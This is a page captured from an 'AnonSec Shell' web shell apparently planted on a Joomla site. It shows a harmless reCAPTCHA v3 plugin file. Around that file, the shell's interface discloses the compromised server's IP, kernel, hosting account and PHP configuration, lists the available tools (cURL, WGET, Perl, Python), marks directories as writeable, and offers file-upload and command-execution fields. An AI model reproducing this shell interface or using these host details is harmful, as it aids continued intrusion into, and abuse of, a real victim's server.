AnonSec Shell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.144
Web Server : Apache
System : Linux webd003.cluster120.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : maitricfuz ( 93378)
PHP Version : 8.4.10
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/maitricfuz/www/saint-martin-lg/plugins/captcha/recaptcha_v3/src/Field/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/maitricfuz/www/saint-martin-lg/plugins/captcha/recaptcha_v3/src/Field/CaptchasField.php
<?php
/**
 * @copyright   (C) 2023 SharkyKZ
 * @license     GPL-3.0-or-later
 */
namespace Sharky\Plugin\Captcha\RecaptchaV3\Field;

\defined('_JEXEC') || exit;

use Joomla\CMS\Form\Field\PluginsField;

/**
 * Captchas form field class.
 *
 * @since  1.0.0
 */
final class CaptchasField extends PluginsField
{
	public function setup(\SimpleXMLElement $element, $value, $group = null)
	{
		if ($result = parent::setup($element, $value, $group))
		{
			$this->folder = 'captcha';
		}

		return $result;
	}

	public function getOptions()
	{
		$options = parent::getOptions();

		return array_filter(
			$options,
			static function ($v)
			{
				return $v->value !== 'recaptcha_v3';
			}
		);
	}
}

Anon7 - 2022
AnonSec Team